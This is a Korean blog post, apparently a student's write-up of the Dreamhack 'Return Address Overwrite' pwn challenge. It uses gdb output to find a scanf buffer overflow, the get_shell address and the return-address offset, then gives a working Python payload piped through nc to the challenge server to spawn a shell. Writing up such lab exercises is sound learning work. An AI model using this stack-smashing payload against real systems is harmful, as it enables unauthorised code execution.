- 🏆Dreamhack - Return Address Overwrite 문제풀이2024년 11월 22일 21시 06분 43초에 업로드 된 글입니다.작성자: 방세연
Return Address Overwrite란 공격자가 버퍼에 초과된 크기 데이터를 작성해 버퍼 오버플로우를 일으켰을 때, 스택의 구조를 분석해 리턴 주소를 덮어씌웠을 경우 프로그램의 제어 흐름을 탈취할 수 있는 방식으로 이루어진다.
void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); }
setvbuf 함수 안의 stdin, stdout이 나타난다.
stdin은 표준 입력을 나타내고, stdout는 표준 출력을 나타낸다.
(stdxxx, 0, 2, 0)에서 숫자는 순서대로 (stdxxx, `커스텀 버퍼 사용 x`, `unbuffered mode`, `버퍼 크기 설정 x) 를 나타낸다.0x400667 <+0>: push rbp 0x400668 <+1>: mov rbp,rsp 0x40066b <+4>: mov rax,QWORD PTR [rip+0x2009ec] # stdin의 주소(0x601060) 로드 0x400672 <+11>: mov esi,0x2 # 버퍼링 모드: unbuffered (2) 0x400677 <+16>: mov edx,0x0 # 버퍼 크기: 0 0x40067c <+21>: mov rdi,rax # 첫 번째 인자: stdin 주소 0x40067f <+24>: call 0x405060 <setvbuf@plt> # setvbuf 호출 0x400684 <+29>: mov rax,QWORD PTR [rip+0x2009ec] # stdout의 주소(0x601050) 로드 0x40068b <+36>: mov esi,0x2 # 버퍼링 모드: unbuffered (2) 0x400690 <+41>: mov edx,0x0 # 버퍼 크기: 0 0x400695 <+46>: mov rdi,rax # 첫 번째 인자: stdout 주소 0x400698 <+49>: call 0x405060 <setvbuf@plt> # setvbuf 호출 0x40069d <+54>: nop 0x40069e <+55>: pop rbp 0x40069f <+56>: ret
gdb를 통해 알 수 있는 정보는 다음과 같다.
-stdin-
0x40066b <+4>: mov rax,QWORD PTR [rip+0x2009ec] # stdin의 주소(0x601060) 로드 0x400672 <+11>: mov esi,0x2 # 버퍼링 모드: unbuffered (2) 0x400677 <+16>: mov edx,0x0 # 버퍼 크기: 0 0x40067c <+21>: mov rdi,rax # 첫 번째 인자: stdin 주소 0x40067f <+24>: call 0x405060 <setvbuf@plt> # setvbuf 호출
0x40066b <+4>: mov rax,QWORD PTR [rip+0x2009ec]
mov rax, QWORD PTR [rip+0x2009ec]는 stdin의 파일 포인터를 나타낸다. stdin 주소를 레지스터 rax에 로드했다.
0x400672 <+11>: mov esi, 0x2
esi에 2의 값을 저장했다. 즉, setvbuf 함수의 두 번째 인자다. unbuffered 모드를 지원한다.
0x400677 <+16>: mov edx,0x0
버퍼 크기를 0으로 지정한다. (edx에 0의 값을 저장한다.)
0x40067c <+21>: mov rdi,rax
rdi에 rax값을 복사한다. 해당 값은 stdin의 주소 자체, 즉 setvbuf의 첫 번째 인자가 될 것이고 이 인자로 stdin 포인터를 전달한다.
0x40067f <+24>: call 0x405060 <setvbuf@plt>
call을 통해 setvbuf를 호출하는 과정이다. stdin의 버퍼링 설정을 적용한다.
이때, stdin의 주소는 0x601060이다.
-stdout-
0x400684 <+29>: mov rax,QWORD PTR [rip+0x2009ec] # stdout의 주소 로드 0x40068b <+36>: mov esi,0x2 # 버퍼링 모드: unbuffered (2) 0x400690 <+41>: mov edx,0x0 # 버퍼 크기: 0 0x400695 <+46>: mov rdi,rax # 첫 번째 인자: stdout 주소 0x400698 <+49>: call 0x405060 <setvbuf@plt> # setvbuf 호출
stdin과 동작 구조가 비슷해보인다.
0x400684 <+29>: mov rax,QWORD PTR [rip+0x2009ec]
stdout의 파일 포인터가 나타난다. stdout 주소를 레지스터 rax에 로드했다.
...
이후 과정도 stdin과 일치한다.
즉, stdin과 stdout의 버퍼링 모드를 unbuffered 모드로 설정하는 핵심 동작을 나타내고 있다는 것을 gdb를 통해 알았다.char buf[0x28]; scanf("%s", buf);
제공된 c언어 파일을 살펴보면 buf 변수의 크기는 0x28(40) 바이트로 선언되었는데, scanf("%s", buf)에서 buf를 입력받는 부분에서 버퍼의 크기를 제한하지 않기 때문에, 버퍼 오버플로우가 발생할 위험이 존재한다.
그럼 Return Address Overwrite란?
=> 스택에 저장된 복기 주소를 조작한다. 이때 `복귀 주소`란 함수가 끝난 후에 돌아갈 위치를 말한다.
만약에 복귀 주소를 원하는 함수의 주소로 덮어씌어버리면 해당 함수가 실행된다.
우리가 접근해봐야 할 부분은 get_shell() 함수이다.
void get_shell() { char *cmd = "/bin/sh"; char *args[] = {cmd, NULL}; execve(cmd, args, NULL); }
get_shell 함수의 부분에서 쉘(/bin/sh)가 실행되어 공격자가 대화형 쉘에 대한 임의의 명령어를 입력해 시스템(즉, 플래그)에 접근하게될 수 있기 때문이다.
그럼 이제 Return Address Overwrite를 수행하기 위해 get_shell 함수의 주소를 찾아보자.
pwndbg> disassemble get_shell Dump of assembler code for function get_shell: 0x00000000004006aa <+0>: push rbp 0x00000000004006ab <+1>: mov rbp,rsp 0x00000000004006ae <+4>: sub rsp,0x20 0x00000000004006b2 <+8>: lea rax,[rip+0xfb] # 0x4007b4 0x00000000004006b9 <+15>: mov QWORD PTR [rbp-0x8],rax 0x00000000004006bd <+19>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004006c1 <+23>: mov QWORD PTR [rbp-0x20],rax 0x00000000004006c5 <+27>: mov QWORD PTR [rbp-0x18],0x0 0x00000000004006cd <+35>: lea rcx,[rbp-0x20] 0x00000000004006d1 <+39>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004006d5 <+43>: mov edx,0x0 0x00000000004006da <+48>: mov rsi,rcx 0x00000000004006dd <+51>: mov rdi,rax 0x00000000004006e0 <+54>: call 0x400550 <execve@plt> 0x00000000004006e5 <+59>: nop 0x00000000004006e6 <+60>: leave 0x00000000004006e7 <+61>: ret End of assembler dump.
get_shell 정보를 얻기 위해 디스어셈블링 해봤다.
이때 get_shell의 주소는 함수가 시작하는 부분의 메모리 주소기 때문에, 0x4006aa라고 이해할 수 있다.
get_shell의 주소를 구했다.
그럼 함수의 복귀 주소는 어떤 구조일까?pwndbg> info frame Stack level 0, frame at 0x7fffffffe130: rip = 0x4006ec in main; saved rip = 0x7ffff7ddbd68 called by frame at 0x7fffffffe1d0 Arglist at 0x7fffffffe120, args: Locals at 0x7fffffffe120, Previous frame's sp is 0x7fffffffe130 Saved registers: rbp at 0x7fffffffe120, rip at 0x7fffffffe128
main 함수에 breakpoint 걸고 info frame으로 현재 스택 프레임 구조를 확인해봤는데, 이 중에서 스택의 베이스 포인터(rbp)와 복귀 주소(rip)의 정보가 매우 중요하다.
rbp at 0x7fffffffe120, rip at 0x7fffffffe128
즉, 0x7fffffffe128가 함수의 복귀 주소다.
char buf[0x28];
0x40070b <main+35> lea rax, [rbp - 0x30] 0x40070f <main+39> mov rsi, rax
+ 이건 buf 변수의 위치다. buf는 [rbp - 0x30]에 위치한다. ( buf는 [rbp - 0x30]부터 시작한다.)
즉, 0x7fffffffe120(베이스포인터) - 0x30은 0x7fffffffe0f0.
buf가 할당된 메모리 영역 초기 상태pwndbg> x/40xb $rbp-0x30 0x7fffffffe0f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffe0f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffe100: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffe108: 0x30 0x50 0xfe 0xf7 0xff 0x7f 0x00 0x00 0x7fffffffe110: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
buf는 0x28 범위를 가지기 때문에, 0x7fffffffe0f0 ~ 0x7fffffffe118 범위를 pwngdb가 정확하게 출력하고 있다.
buf 함수 시작 주소인 rbp에 saved RBP가 항상 저장되고, 함수가 종료된 후 복귀주소(return address)가 saved RBP 바로 위에 저장되며 이 값은 항상 call 명령어에 의해 자동으로 푸시된다.
복귀 주소 참고용 구조|--------------------| <- (높은 주소) | return address | <- [rbp + 8] | saved RBP | <- [rbp] |--------------------| | ... buf (로컬 변수) | |--------------------| <- (낮은 주소)
구조화해보면 이렇게 나타날 수 있다.
즉 return address 값은rbp + 8 = 0x7fffffffe120 + 8 = 0x7fffffffe128
이렇게 된다.
그럼 이 정보를 이용해 exploit 코드를 작성해보자.
공격 순서는 다음과 같다.
1. buf의 크기 40 바이트(0x28)을 아무 값이나 넣어서 채워 스택을 맞춘다.
2. 바로 위에 있는 saved RBP 8 바이트를 아무 값이나 덮어씌운다.
3. 알아낸 get_shell 시작 주소 (0x4006aa)를 리틀엔디안 형식으로 삽입한다.
exploit 코드를 작성하는 대신 import sys; sys.stdout.buffer.write 문구를 이용해서 python3을 통해 바이너리 데이터를 표춘 출력(stdout)로 출력할 수 있도록 하였다.
사용하는 이유 => exploit 하려면 바이트 단위로 데이터를 정확히 출력해야 메모리 덮어씌우기에 성공할 가능성이 높기 때문에 이런 바이너리 출력 방식이 필수적이다.
페이로드는 잘 실행이 된 것 같은데 이제 플래그를 어떻게 얻어야 할지 모르겠다.
찾아보니까 이건 로컬 공격이고 드림핵 서버를 통해 공격을 시도해보아야할 것 같다.
(python3 -c "import sys; sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')"; cat) | nc host3.dreamhack.games 20917
A로 0x30 buf를, B로 saved RBP를, get_shell의 주소값을 넣고 생성한 드림핵 원격 서버를 입력해 cat flag 명령어를 통해 플래그를 구할 수 있었다.
헤맸던 점은 Input: 다음에 아무 값을 넣어도 서버가 인식을 못했는데 `$` 이 값을 앞에 넣으니까 모든 쉘 명령어가 정상적으로 수행되었다. 그리고 확인해본 바로는 명령어가 하나씩만 작성이 된다. 이유가 뭘까?
사용자가 데이터를 파이프 등을 통해 전달되었을 때 $ 없이 명령이 입력되면 쉘이 입력을 대기 상태로 간주하고 아무 행동도 하지 않을 수 있다. 이게 가장 큰 이유인 것 같다고 생각한다. 결론은 쉘 인터렉션 문제일 확률이 높을 것 같다. 어쨋든 플래그는 구해냈으니..
다음글이 없습니다.이전글이 없습니다.댓글